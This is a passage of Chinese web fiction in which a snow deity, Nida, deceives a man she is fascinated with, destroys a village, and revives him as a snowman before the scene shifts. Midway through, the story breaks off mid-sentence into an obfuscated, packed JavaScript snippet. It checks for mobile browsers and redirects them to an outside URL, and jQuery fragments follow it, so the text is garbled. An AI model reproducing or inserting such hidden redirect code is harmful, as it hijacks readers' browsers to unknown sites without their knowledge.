灰色的山又做好了迎接下一次雪的准备。
雪落下之前,伲答开始了这一次的生命。如轮回中往常的每一次,她看着雪落了下来,覆盖上去年没有融化的雪,铺满了整个世界。
而来年,又会有新的雪,覆盖上今年的雪,层层叠叠,将雪下的事物牢牢盖住。
雪从山顶铺到灰褐色的山岩上,一条不太明显的分界线从此隔开,往上是终年不化的积雪,往下是在暖和天气里融化成山泉的雪。
山泉奔流而下,喂养溪水边的生命。因它而产生了一片一片植物、一群一群动物和一户一户的人。
日复一日,年复一年。
伲答看着一如往昔的世界,轻轻叹了一口气。
也许是这样的。循环太过无趣,她开始幻想着自己能走出去,离开这个地方,去一个新的地方,看其他事物。
伲答想去一个截然相反的地方,拥有与她看过的事物都不一样的事物存在的地方。
她首先想到了太阳,她想去一个炎热且鲜少下雨的地方。最好是有茂密的绿色植物,也有鲜艳的花朵。
那里没有皑皑的山雪。
伲答想去看看那样的世界,她就离开了。
于是这里的雪停了。
离开的方法很简单,尤其是对她而言。简单到她有些震惊于自己竟然从来没有尝试过离开这里。
她藏住了别人的记忆,又篡改了一些人的记忆,就坐上了出去的车,来到了其他地方。她看到了外面的世界,看到了她向往已久的灼热的太阳,娇艳的花,苍翠的叶。
好像也一样。她把自己变得很大,又把自己变得很小。在这世界穿梭游动着。
好像这样的世界与雪山上的世界也一样,是那么的日复一日,年复一年。
伲答叹了一口气。
看着圆圆的月亮,她忽然想看雪了。
于是她篡改了一些人的记忆,再次坐上了车。这是回程的车,伲答已经想好了在车上做什么,可车上有个人纠缠着她。伲答停住了自己的计划,看着那个抱着她的围巾的男人。
伲答打量了他的皮囊,那是她从未见过的人。
他和这世界上所有人都不一样。他的眉眼像是一捧新雪,脆弱而又努力地向往着世界。他的神态里带着试探,让伲答想要看看他想做什么。
而他仅仅只是想坐到伲答的身边。围着男人的围巾,伲答从窗户的玻璃里看向他。
而他在低着头看自己。他只是看了伲答的头发,就移开了视线。
他和这世界上伲答所见过的人都不一样。
特别到令伲答想立刻做一个这样的雪人,这样一个与他相同,却能被自己放在手心里的雪人。伲答静静地想着,但那个人却凑了上来,他和伲答说了很多话,伲答只好陪着他讲了很多话。伲答无论说什么,那个人都只会眯着眼睛,笑盈盈地看着她。有时候伲答停顿的时间长了一些,他就会立刻从嗓子里憋出一个单独的音节,或者是又顺着伲答的话问她。
连在这样热闹的话语里,伲答也能感受到,他担心着自己,担心伲答因他没有及时回应而感到失落。
感受着这样的情绪,伲答讲了很多很多话,说话时,她看着对面那个人,几乎想要马上捏出一个这样的雪人,一个和他一样的雪人,不同于世界上任何人的雪人。
伲答选了她最开始做雪人时,没能成功做完的那个雪人,低着头用小刀一点一点磨着,用了很长的时间,才把这个半成品刻出一个雪人的模样。
她本想重新做一个的。
但做完一个雪人要花上很多的时间,而其他的雪人都已经做好了,只剩下了这个一开始学着做雪人时,没有做好的半成品。
伲答晚上和那个男人还有约定,她记挂着这件事,也很想做出一个雪人给男人看。她很着急,只好用半成品。
好在夜幕降临之时,她终于做好了。
男人有着一双温柔的眼睛,像是永远不会生气。当那双眼睛看着伲答时,伲答像沐浴在雪里。
在夜里,伲答看着他,在心里忽然冒出一个念头。
伲答想带他去看看雪人,也许当面对比起来,会更容易看出雪人像不像他。但因为见到他而做了雪人这样的话,让伲答无从开口。
她只好诓骗了他,把雪人做好的时间往前挪了挪。
伲答不想让他知道自己因为他而做了一个雪人。
告别了男人,伲答盘踞在夜空里。她心里有些恼火,于是挤走了月亮,占着它的地盘发愁。
不像,即使是在没见面前,伲答觉得雪人身上最相似的一点——眼神,在见了面之后,伲答也不得不承认,雪人和他不太一样。伲答有些丧气,她想改一改,却不知道怎么改。
她低头看着湖,忽然想起在刚才的月光下,雪人先生和她在这里跳了舞。他们跳了很久,在最后,两人终于对上了目光,那时候的雪人先生,眼神里带着许多说不清的话。
伲答不知道那是什么,到她想把那些话留下来。
她想把那个时候的他捏做雪人留下来。
于是她跳了下来,在地上新团了雪,努力地捏了起来。脑海里他的身影逐渐清晰,手掌里雪人的样貌也逐渐成型。
伲答为自己即将拥有这世界上不同于任何其他人的一只雪人而感到兴奋。
可从一个晚上捏到了另一个晚上,她仍旧没有做好。
有些郁闷,伲答准备出门。
没有做出来雪人,反而出门捡到了落单的雪人先生。
一个无家可归的人,孤零零地在村子里晃悠着。他趴在栏杆上问那个不识好赖的东西,声音里带着期待。
他在问伲答在哪里。
伲答不明白他为什么会出现在这里,又在村里走来走去,还迷了路。
她明明放走了他,但他又自顾自地撞了回来。
看着夜幕中村里环伺的目光,她把他带到了一间小屋子里,还叫来了一匹小马驹来守着他。
坐在屋顶上,伲答有些不知所措。
她的思绪没有开始的地方,只是一圈一圈地交叠着,无法思索出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544339|171144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结果。
就像层叠的雪压住了层叠的雪,伲答想了一整夜,她想,把他留在这里吧。
虽然要骗一骗,但可以把他永远地藏在这里。
一想到把他永远就在这里,伲答心里的思绪就融化开了,虽然她并不知道原因,但这是最好的解决方法。
伲答尚且没有想到一个很好的方法,但破绽百出的招数也能用用。
她计划着,想出了一个方法。
先把他捉进自己的山洞里,再去骗一骗别人就好了。伲答这样想着,也许可以用那个没有做完的雪人。
她诱骗着他走进了山洞。
还没等到她提出她的办法,事情就被打断了。
伲答以为天衣无缝的计划,她甚至做到了最后一步。
可还是被发现了。
他们呼喊着,甚至杀死了其他的祭品要挟着伲答。
伲答只好融化了这个村子。她不知道接下来该怎么办。但只要看到他,伲答想着,只要看到他,就会想出一个办法的。
可他死了。他给自己系上了一个东西,嘴里叽里咕噜地,不知道在说什么。伲答只能感受到他的生命在飞速流逝。
她应该怎么办?
神骗走了祭品,这该怎么办?
而祭品,却违背了神的意愿,这要怎么办?
杨长安看着他面前跪坐着的伲答,她无助地将手贴在自己的额头,小声地说:“不应该是这样的。”
她看起来太过无助。
杨长安想要哄哄伲答的,但他再也没办法发出任何声音了。他只好看着伲答。
伲答抽噎着,站了起来,她像是下了什么决心。
杨长安看到伲答动作起来,而自己的视线则逐渐模糊。
在彻底失去感官之前,他似乎感觉到自己变得冰凉,也许伲答将自己埋入了雪里。
最后一块冰凉的雪贴在杨长安的脸上,他像回光返照似的,在一段及其短暂的时间里再一次拥有了五感。
恍惚间,他听见伲答的声音。那声音从很远的地方传来,却如擂鼓般在他耳旁炸开。
“雪人雪人,活过来吧。”
世界变得漆黑一片,然后出现了一个光源。杨长安努力地睁开眼,只看见一片深蓝色不见底的水。
他吸入了水,却没有呛咳。
在这片神秘的水里,他沉沉睡去。
“杨长安,发什么愣呢?”
声音猛地传来,杨长安抬头往前面看去。他环视了一圈,发现自己正坐在沙发上。
对面的人看不清面容,而他自己也有些困倦。他不知道是因为犯困所以看不清,还是因为那里本来就只是一片模糊。
“选三张。”对面的声音再次响起。杨长安揉了揉眼睛,再次看过去。坐在阴影里的人的面容慢慢出现。
杨长安的脑海里浮现出他的名字,但除此之外,他竟然什么也不记得了。这不对劲,杨长安看着对面的人。
而坐在对面的舒航则再一次开口:“看我干嘛?赶紧选啊。”